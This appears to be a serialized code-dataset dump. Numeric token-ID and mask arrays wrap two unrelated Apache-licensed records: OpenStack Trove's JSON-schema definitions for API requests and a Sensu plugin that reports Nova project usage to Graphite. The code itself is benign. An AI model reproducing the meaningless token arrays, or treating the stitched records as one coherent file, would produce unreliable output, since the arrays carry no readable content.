[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Tesora-Release/tesora-trove
trove/common/apischema.py
1
22361
# Copyright 2013 Hewlett-Packard Development Company, L.P. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # from trove.common import cfg CONF = cfg.CONF url_ref = { "type": "string", "minLength": 8, "pattern": 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]' '|(?:%[0-9a-fA-F][0-9a-fA-F]))+' } boolean_string = { "type": "integer", "minimum": 0, "maximum": 1 } non_empty_string = { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^.*[0-9a-zA-Z]+.*$" } configuration_data_types = { "type": "string", "minLength": 1, "pattern": "integer|string" } configuration_integer_size = { "type": "string", "maxLength": 40, "pattern": "[0-9]+" } configuration_positive_integer = { "type": "string", "maxLength": 40, "minLength": 1, "pattern": "^[0-9]+$" } configuration_non_empty_string = { "type": "string", "minLength": 1, "maxLength": 128, "pattern": "^.*[0-9a-zA-Z]+.*$" } flavorref = { 'oneOf': [ non_empty_string, { "type": "integer" }] } volume_size = { "oneOf": [ { "type": "integer", "minimum": 0 }, configuration_positive_integer] } host_string = { "type": "string", "minLength": 1, "pattern": "^[%]?[\w(-).]*[%]?$" } name_string = { "type": "string", "minLength": 1, "pattern": "^.*[0-9a-zA-Z]+.*$" } uuid = { "type": "string", "minLength": 1, "maxLength": 64, "pattern": "^([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}" "-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}$" } backup_id = { "type": "string", "minLength": 1, "maxLength": 64, "pattern": "^(([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}" "-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}|last)$" } volume = { "type": "object", "required": ["size"], "properties": { "size": volume_size, "required": True } } nics = { "type": "array", "items": { "type": "object", } } databases_ref_list = { "type": "array", "minItems": 0, "uniqueItems": True, "items": { "type": "object", "required": ["name"], "additionalProperties": True, "properties": { "name": non_empty_string } } } databases_ref_list_required = { "type": "array", "minItems": 0, "uniqueItems": True, "items": { "type": "object", "required": ["name"], "additionalProperties": True, "properties": { "name": non_empty_string } } } databases_ref = { "type": "object", "required": ["databases"], "additionalProperties": True, "properties": { "databases": databases_ref_list_required } } databases_def = { "type": "array", "minItems": 0, "items": { "type": "object", "required": ["name"], "additionalProperties": True, "properties": { "name": non_empty_string, "character_set": non_empty_string, "collate": non_empty_string } } } user_attributes = { "type": "object", "additionalProperties": True, "minProperties": 1, "properties": { "name": name_string, "password": non_empty_string, "host": host_string } } users_list = { "type": "array", "minItems": 0, "items": { "type": "object", "required": ["name", "password"], "additionalProperties": True, "properties": { "name": name_string, "password": non_empty_string, "host": host_string, "databases": databases_ref_list } } } null_configuration_id = { "type": "null" } configuration_id = { 'oneOf': [ uuid, null_configuration_id ] } module_list = { "type": "array", "minItems": 0, "items": { "type": "object", "required": ["id"], "additionalProperties": True, "properties": { "id": uuid, } } } cluster = { "create": { "type": "object", "required": ["cluster"], "additionalProperties": True, "properties": { "cluster": { "type": "object", "required": ["name", "datastore", "instances"], "additionalProperties": True, "properties": { "name": non_empty_string, "datastore": { "type": "object", "required": ["type", "version"], "additionalProperties": True, "properties": { "type": non_empty_string, "version": non_empty_string } }, "instances": { "type": "array", "items": { "type": "object", "required": ["flavorRef"], "additionalProperties": True, "properties": { "flavorRef": flavorref, "volume": volume, "nics": nics, "availability_zone": non_empty_string, "modules": module_list, "region_name": non_empty_string } } }, "locality": non_empty_string } } } }, "add_shard": { "type": "object", "required": ["add_shard"], "additionalProperties": True, "properties": { "add_shard": { "type": "object" } } }, "grow": { "type": "object", "required": ["grow"], "additionalProperties": True, "properties": { "grow": { "type": "array", "items": { "type": "object", "required": ["flavorRef"], "additionalProperties": True, "properties": { "name": non_empty_string, "flavorRef": flavorref, "volume": volume, "nics": nics, "availability_zone": non_empty_string, "modules": module_list, "related_to": non_empty_string, "type": non_empty_string, "region_name": non_empty_string } } } } }, "shrink": { "type": "object", "required": ["shrink"], "additionalProperties": True, "properties": { "shrink": { "type": "array", "items": { "type": "object", "required": ["id"], "additionalProperties": True, "properties": { "id": uuid } } } } } } instance = { "create": { "type": "object", "required": ["instance"], "additionalProperties": True, "properties": { "instance": { "type": "object", "required": ["name", "flavorRef"], "additionalProperties": True, "properties": { "name": non_empty_string, "configuration_id": configuration_id, "flavorRef": flavorref, "volume": volume, "databases": databases_def, "users": users_list, "restorePoint": { "type": "object", "required": ["backupRef"], "additionalProperties": True, "properties": { "backupRef": uuid } }, "availability_zone": non_empty_string, "datastore": { "type": "object", "additionalProperties": True, "properties": { "type": non_empty_string, "version": non_empty_string } }, "nics": nics, "modules": module_list, "region_name": non_empty_string, "locality": non_empty_string } } } }, "edit": { "name": "instance:edit", "type": "object", "required": ["instance"], "properties": { "instance": { "type": "object", "required": [], "additionalProperties": False, "properties": { "slave_of": {}, "replica_of": {}, "name": non_empty_string, "configuration": configuration_id, "datastore_version": non_empty_string, } } } }, "action": { "resize": { "volume": { "type": "object", "required": ["resize"], "additionalProperties": True, "properties": { "resize": { "type": "object", "required": ["volume"], "additionalProperties": True, "properties": { "volume": volume } } } }, 'flavorRef': { "type": "object", "required": ["resize"], "additionalProperties": True, "properties": { "resize": { "type": "object", "required": ["flavorRef"], "additionalProperties": True, "properties": { "flavorRef": flavorref } } } } }, "restart": { "type": "object", "required": ["restart"], "additionalProperties": True, "properties": { "restart": { "type": "object" } } } } } mgmt_cluster = { "action": { 'reset-task': { "type": "object", "required": ["reset-task"], "additionalProperties": True, "properties": { "reset-task": { "type": "object" } } } } } mgmt_instance = { "action": { 'migrate': { "type": "object", "required": ["migrate"], "additionalProperties": True, "properties": { "migrate": { "type": "object" } } }, "reboot": { "type": "object", "required": ["reboot"], "additionalProperties": True, "properties": { "reboot": { "type": "object" } } }, "stop": { "type": "object", "required": ["stop"], "additionalProperties": True, "properties": { "stop": { "type": "object" } } } } } user = { "create": { "name": "users:create", "type": "object", "required": ["users"], "properties": { "users": users_list } }, "update_all": { "users": { "type": "object", "required": ["users"], "additionalProperties": True, "properties": { "users": users_list } }, "databases": databases_ref }, "update": { "type": "object", "required": ["user"], "additionalProperties": True, "properties": { "user": user_attributes } } } dbschema = { "create": { "type": "object", "required": ["databases"], "additionalProperties": True, "properties": { "databases": databases_def } } } backup = { "create": { "name": "backup:create", "type": "object", "required": ["backup"], "properties": { "backup": { "type": "object", "required": ["instance", "name"], "properties": { "description": non_empty_string, "instance": uuid, "name": non_empty_string, "parent_id": backup_id } } } } } guest_log = { "action": { "name": "guest_log:action", "type": "object", "required": ["name"], "properties": { "name": non_empty_string, "enable": boolean_string, "disable": boolean_string, "publish": boolean_string, "discard": boolean_string } } } module_contents = { "type": "string", "minLength": 1, "maxLength": 4294967295, "pattern": "^.*.+.*$" } module = { "create": { "name": "module:create", "type": "object", "required": ["module"], "properties": { "module": { "type": "object", "required": ["name", "module_type", "contents"], "additionalProperties": True, "properties": { "name": non_empty_string, "module_type": non_empty_string, "contents": module_contents, "description": non_empty_string, "datastore": { "type": "object", "properties": { "type": non_empty_string, "version": non_empty_string } }, "auto_apply": boolean_string, "all_tenants": boolean_string, "visible": boolean_string, "live_update": boolean_string, } } } }, "update": { "name": "module:update", "type": "object", "required": ["module"], "properties": { "module": { "type": "object", "required": [], "additionalProperties": True, "properties": { "name": non_empty_string, "type": non_empty_string, "contents": module_contents, "description": non_empty_string, "datastore": { "type": "object", "additionalProperties": True, "properties": { "type": non_empty_string, "version": non_empty_string } }, "auto_apply": boolean_string, "all_tenants": boolean_string, "visible": boolean_string, "live_update": boolean_string, } } } }, "apply": { "name": "module:apply", "type": "object", "required": ["modules"], "properties": { "modules": module_list, } }, "list": { "name": "module:list", "type": "object", "required": [], "properties": { "module": uuid, "from_guest": boolean_string, "include_contents": boolean_string } }, } configuration = { "create": { "name": "configuration:create", "type": "object", "required": ["configuration"], "properties": { "configuration": { "type": "object", "required": ["values", "name"], "properties": { "description": non_empty_string, "values": { "type": "object", }, "name": non_empty_string, "datastore": { "type": "object", "additionalProperties": True, "properties": { "type": non_empty_string, "version": non_empty_string } } } } } }, "update": { "name": "configuration:update", "type": "object", "required": ["configuration"], "properties": { "configuration": { "type": "object", "required": [], "properties": { "description": non_empty_string, "values": { "type": "object", }, "name": non_empty_string } } } }, "edit": { "name": "configuration:edit", "type": "object", "required": ["configuration"], "properties": { "configuration": { "type": "object", "required": [], "properties": { "values": { "type": "object", } } } } } } mgmt_configuration = { "create": { "name": "configuration_parameter:create", "type": "object", "required": ["configuration-parameter"], "properties": { "configuration-parameter": { "type": "object", "required": ["name", "restart_required", "data_type"], "properties": { "name": configuration_non_empty_string, "data_type": configuration_data_types, "restart_required": boolean_string, "max": configuration_integer_size, "min": configuration_integer_size, } } } }, "update": { "name": "configuration_parameter:update", "type": "object", "required": ["configuration-parameter"], "properties": { "configuration-parameter": { "type": "object", "required": ["name", "restart_required", "data_type"], "properties": { "name": configuration_non_empty_string, "data_type": configuration_data_types, "restart_required": boolean_string, "max": configuration_integer_size, "min": configuration_integer_size, } } } }, } account = { 'create': { "type": "object", "name": "users", "required": ["users"], "additionalProperties": True, "properties": { "users": users_list } } } upgrade = { "create": { "type": "object", "required": ["upgrade"], "additionalProperties": True, "properties": { "upgrade": { "type": "object", "required": [], "additionalProperties": True, "properties": { "instance_version": non_empty_string, "location": non_empty_string, "metadata": {} } } } } } package_list = { "type": "array", "minItems": 0, "uniqueItems": True, "items": { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^.*[0-9a-zA-Z]+.*$" } } mgmt_datastore_version = { "create": { "name": "mgmt_datastore_version:create", "type": "object", "required": ["version"], "properties": { "version": { "type": "object", "required": ["name", "datastore_name", "image", "active"], "additionalProperties": True, "properties": { "name": non_empty_string, "datastore_name": non_empty_string, "datastore_manager": non_empty_string, "packages": package_list, "image": uuid, "active": {"enum": [True, False]}, "default": {"enum": [True, False]} } } } }, "edit": { "name": "mgmt_datastore_version:edit", "type": "object", "required": [], "additionalProperties": True, "properties": { "datastore_manager": non_empty_string, "packages": package_list, "image": uuid, "active": {"enum": [True, False]}, "default": {"enum": [True, False]}, } } }
apache-2.0
[ 3, 1898, 6171, 27849, 13, 29471, 15290, 15878, 12, 491, 14, 48, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 3, 199, 504, 307, 11750, 14, 2330, 492, 4810, 199, 199, 3103, 275, 4810, 14, 3103, 199, 199, 633, 63, 1121, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 1695, 12, 272, 298, 3401, 582, 283, 1014, 59, 83, 11843, 921, 25060, 65, 13, 6353, 13, 58, 32673, 16, 13, 25, 32673, 4, 13, 63, 32, 14, 6, 11, 32673, 1, 7590, 2961, 395, 6616, 2049, 11280, 2229, 2689, 59, 16, 13, 25, 65, 13, 13753, 13, 38, 1527, 16, 13, 25, 65, 13, 13753, 13, 38, 2459, 4786, 199, 93, 199, 199, 4871, 63, 875, 275, 469, 272, 298, 466, 582, 298, 4115, 401, 272, 298, 10700, 582, 378, 12, 272, 298, 11555, 582, 413, 199, 93, 199, 199, 2865, 63, 1667, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5450, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 4758, 63, 576, 63, 1313, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 298, 4115, 92, 875, 2, 199, 93, 199, 199, 4758, 63, 4115, 63, 890, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 988, 4625, 582, 6335, 12, 272, 298, 3401, 582, 7369, 16, 13, 25, 2807, 2, 199, 93, 199, 199, 4758, 63, 8965, 63, 4115, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 988, 4625, 582, 6335, 12, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 59, 16, 13, 25, 2807, 17351, 199, 93, 199, 199, 4758, 63, 2865, 63, 1667, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 7960, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 6081, 1121, 275, 469, 272, 283, 368, 3466, 356, 359, 267, 2222, 63, 1667, 63, 875, 12, 267, 469, 288, 298, 466, 582, 298, 4115, 2, 267, 14877, 199, 93, 199, 199, 2405, 63, 890, 275, 469, 272, 298, 368, 3466, 582, 359, 267, 469, 288, 298, 466, 582, 298, 4115, 401, 288, 298, 10700, 582, 378, 267, 1660, 267, 2897, 63, 8965, 63, 4115, 61, 199, 93, 199, 199, 1102, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 9722, 11843, 7023, 87, 2801, 680, 3672, 9722, 11843, 17351, 199, 93, 199, 199, 354, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 2580, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5049, 12, 272, 298, 3401, 582, 18129, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 24, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 7063, 2049, 3905, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 713, 93, 17351, 199, 93, 199, 199, 5751, 63, 344, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5049, 12, 272, 298, 3401, 582, 18129, 27123, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 24, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 7063, 2049, 3905, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 713, 22441, 2019, 9, 17351, 199, 93, 199, 199, 2405, 275, 469, 272, 298, 466, 582, 298, 785, 401, 272, 298, 2427, 582, 2097, 890, 2255, 272, 298, 3282, 582, 469, 267, 298, 890, 582, 3301, 63, 890, 12, 267, 298, 2427, 582, 715, 272, 789, 199, 93, 199, 199, 28004, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 1744, 582, 469, 267, 298, 466, 582, 298, 785, 401, 272, 789, 199, 93, 199, 199, 17439, 63, 1121, 63, 513, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 827, 7412, 582, 378, 12, 272, 298, 3235, 7412, 582, 715, 12, 272, 298, 1744, 582, 469, 267, 298, 466, 582, 298, 785, 401, 267, 298, 2427, 582, 2097, 354, 2255, 267, 298, 8460, 8516, 582, 715, 12, 267, 298, 3282, 582, 469, 288, 298, 354, 582, 2222, 63, 1667, 63, 875, 267, 789, 272, 789, 199, 93, 199, 199, 17439, 63, 1121, 63, 513, 63, 2427, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 827, 7412, 582, 378, 12, 272, 298 ]
[ 1898, 6171, 27849, 13, 29471, 15290, 15878, 12, 491, 14, 48, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 3, 199, 504, 307, 11750, 14, 2330, 492, 4810, 199, 199, 3103, 275, 4810, 14, 3103, 199, 199, 633, 63, 1121, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 1695, 12, 272, 298, 3401, 582, 283, 1014, 59, 83, 11843, 921, 25060, 65, 13, 6353, 13, 58, 32673, 16, 13, 25, 32673, 4, 13, 63, 32, 14, 6, 11, 32673, 1, 7590, 2961, 395, 6616, 2049, 11280, 2229, 2689, 59, 16, 13, 25, 65, 13, 13753, 13, 38, 1527, 16, 13, 25, 65, 13, 13753, 13, 38, 2459, 4786, 199, 93, 199, 199, 4871, 63, 875, 275, 469, 272, 298, 466, 582, 298, 4115, 401, 272, 298, 10700, 582, 378, 12, 272, 298, 11555, 582, 413, 199, 93, 199, 199, 2865, 63, 1667, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5450, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 4758, 63, 576, 63, 1313, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 298, 4115, 92, 875, 2, 199, 93, 199, 199, 4758, 63, 4115, 63, 890, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 988, 4625, 582, 6335, 12, 272, 298, 3401, 582, 7369, 16, 13, 25, 2807, 2, 199, 93, 199, 199, 4758, 63, 8965, 63, 4115, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 988, 4625, 582, 6335, 12, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 59, 16, 13, 25, 2807, 17351, 199, 93, 199, 199, 4758, 63, 2865, 63, 1667, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 7960, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 6081, 1121, 275, 469, 272, 283, 368, 3466, 356, 359, 267, 2222, 63, 1667, 63, 875, 12, 267, 469, 288, 298, 466, 582, 298, 4115, 2, 267, 14877, 199, 93, 199, 199, 2405, 63, 890, 275, 469, 272, 298, 368, 3466, 582, 359, 267, 469, 288, 298, 466, 582, 298, 4115, 401, 288, 298, 10700, 582, 378, 267, 1660, 267, 2897, 63, 8965, 63, 4115, 61, 199, 93, 199, 199, 1102, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 9722, 11843, 7023, 87, 2801, 680, 3672, 9722, 11843, 17351, 199, 93, 199, 199, 354, 63, 875, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 3401, 582, 18129, 2795, 59, 16, 13, 25, 65, 13, 6353, 13, 58, 2807, 2795, 17351, 199, 93, 199, 199, 2580, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5049, 12, 272, 298, 3401, 582, 18129, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 24, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 7063, 2049, 3905, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 713, 93, 17351, 199, 93, 199, 199, 5751, 63, 344, 275, 469, 272, 298, 466, 582, 298, 875, 401, 272, 298, 827, 4625, 582, 413, 12, 272, 298, 988, 4625, 582, 5049, 12, 272, 298, 3401, 582, 18129, 27123, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 24, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 7063, 2049, 3905, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 20, 17063, 779, 16, 13, 25, 65, 13, 13753, 13, 38, 566, 91, 713, 22441, 2019, 9, 17351, 199, 93, 199, 199, 2405, 275, 469, 272, 298, 466, 582, 298, 785, 401, 272, 298, 2427, 582, 2097, 890, 2255, 272, 298, 3282, 582, 469, 267, 298, 890, 582, 3301, 63, 890, 12, 267, 298, 2427, 582, 715, 272, 789, 199, 93, 199, 199, 28004, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 1744, 582, 469, 267, 298, 466, 582, 298, 785, 401, 272, 789, 199, 93, 199, 199, 17439, 63, 1121, 63, 513, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 827, 7412, 582, 378, 12, 272, 298, 3235, 7412, 582, 715, 12, 272, 298, 1744, 582, 469, 267, 298, 466, 582, 298, 785, 401, 267, 298, 2427, 582, 2097, 354, 2255, 267, 298, 8460, 8516, 582, 715, 12, 267, 298, 3282, 582, 469, 288, 298, 354, 582, 2222, 63, 1667, 63, 875, 267, 789, 272, 789, 199, 93, 199, 199, 17439, 63, 1121, 63, 513, 63, 2427, 275, 469, 272, 298, 466, 582, 298, 1144, 401, 272, 298, 827, 7412, 582, 378, 12, 272, 298, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aacole/ursula-monitoring
sensu/plugins/metrics-nova-project-usage.py
2
2388
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import sys import time import argparse import traceback from datetime import datetime, timedelta import shade import novaclient OK = 0 WARNING = 1 CRITICAL = 2 UNKNOWN = 3 class CloudMetrics(object): def __init__(self): self.cloud = shade.openstack_cloud() def get_projects(self): return (project['id'] for project in self.cloud.list_projects()) def get_usage(self, project_ids, minutes, hours, days): stop = datetime.now() start = stop - timedelta(minutes=minutes, hours=hours, days=days) for id_ in project_ids: usage = ( self.cloud.nova_client.usage.get(id_, start, stop).to_dict()) usage['id'] = id_ yield usage def graphite_print(self, usage): utime = time.time() metric_path = "usage.nova.project_id.{id}.{name}" outstr = "{metric_path} {value} {time}" for usg in usage: id_ = usg['id'] for key, val in usg.items(): if key in ['id', 'start', 'stop', 'server_usages']: continue path = metric_path.format(id=id_, name=key) print(outstr.format(metric_path=path, value=val, time=utime)) def run(self, args): projects = self.get_projects() try: usage = self.get_usage( projects, args.minutes, args.hours, args.days ) except novaclient.exceptions.Forbidden: traceback.print_exc() print('Ensure the stackrc is configured for an admin ' 'user.', file=sys.stderr) sys.exit(CRITICAL) self.graphite_print(usage) def parse_args(): parser = argparse.ArgumentParser() parser.add_argument( '--days', type=int, default=0, help="usage starting x days ago (Default: 0)" ) parser.add_argument( '--hours', type=int, default=1, help="usage starting x hours ago (Default: 1)" ) parser.add_argument( '--minutes', type=int, default=0, help="usage starting x minutes ago (Default: 0)" ) return parser.parse_args() def main(): args = parse_args() CloudMetrics().run(args) if __name__ == '__main__': main()
apache-2.0
